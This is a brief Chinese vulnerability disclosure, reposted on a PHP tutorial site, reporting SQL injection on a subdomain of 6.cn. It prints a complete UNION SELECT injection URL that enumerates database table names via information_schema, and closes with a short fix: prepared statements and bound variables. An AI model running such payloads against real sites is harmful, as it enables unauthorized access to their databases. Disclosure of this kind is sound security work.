来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 某分站注入。详细说明：http://m.6.cn/watch_only.php?id=461277 and 1=2 UNION SELECT 1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 frominformation_schema.TABLES whe......
|
某分站注入。
详细说明： http://m.6.cn/watch_only.php?id=461277 and 1=2 UNION SELECT 1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.TABLES where TABLE_SCHEMA=0x6d36636e--  修复方案： 使用预编译语句，绑定变量，检查传输数据类型。参考OWASP ESAPI函数。 作者 B1n4ry |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
